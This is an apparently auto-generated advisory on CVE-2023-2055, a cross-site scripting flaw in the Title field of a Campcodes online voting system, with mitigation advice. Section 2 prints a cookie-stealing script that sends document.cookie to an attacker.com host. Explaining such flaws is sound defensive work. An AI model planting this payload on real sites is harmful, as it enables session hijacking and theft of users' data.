CVE-2023-2055: Cross Site Scripting Vulnerability discovered in Campcodes Advanced Online Voting System 1. - What you need to know and how to protect your system

Introduction: A recent vulnerability has been discovered in the Campcodes Advanced Online Voting System 1. software, which has been classified as problematic. The vulnerability allows an attacker to perform a cross site scripting (XSS) attack by manipulating an argument within a specific file. The issue can be executed remotely, and since the exploit has been made public, it may be used by malicious adversaries. The vulnerability in question has been assigned with the identifier VDB-225940. In this long read, we will delve into the details of this vulnerability, discuss the exploit itself, and deliver actionable advice on how to secure your system against this threat.

1. Understanding the vulnerability: Campcodes Advanced Online Voting System 1. is a software application designed for creating and managing online voting systems. In this instance, the vulnerability exists within the unknown code of /admin/config_save.php file. Due to insufficient input validation and output encoding, an attacker can manipulate the "Title" argument to inject malicious script into a victim's browser. By doing so, an attacker can perform unauthorized actions on behalf of the user, such as stealing sensitive information or hijacking user sessions. For reference, please check the following link: Original Vulnerability Disclosure

2. The exploit code snippet: To help you better understand the working of this exploit, we present a brief code snippet that demonstrates the vulnerability in action:

<!--Malicious script injected by the attacker-->
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie;</script>;

By injecting such a script, an attacker can use the information stored in the user's cookies to conduct further attacks. For more information on the exploit and how it works, please visit this link: Example of Exploit in Action

3. Protecting your system: As a software administrator, it is crucial that you take the necessary actions to mitigate the risk of this vulnerability. This can be accomplished by following these steps:

 - Update to the latest version of Campcodes Advanced Online Voting System. The developers may have fixed the vulnerability in newer releases.
 - Implement proper input validation and output encoding wherever user-controlled data is being processed. This can help prevent cross-site scripting attacks from occurring.
 - Regularly monitor your application and systems for signs of unauthorized access or exploitation. By doing so, you can quickly detect and respond to any malicious activities.

4. Conclusion: In the era where security is paramount, understanding potential vulnerabilities and taking the necessary actions to mitigate them is indeed a necessity. By following our guidance provided in this long read, you can effectively decrease the risk of CVE-2023-2055 and similar threats in your Campcodes Advanced Online Voting System 1. software. Our aim is to educate and empower you with the knowledge to keep your systems safe and secure from potential threats.

For further information and resources, please visit the following links

- Original Vulnerability Disclosure
- Exploit Details and Code Example
- Campcodes Advanced Online Voting System Official Website

Timeline

Published on: 04/14/2023 13:15:00 UTC
Last modified on: 04/22/2023 02:13:00 UTC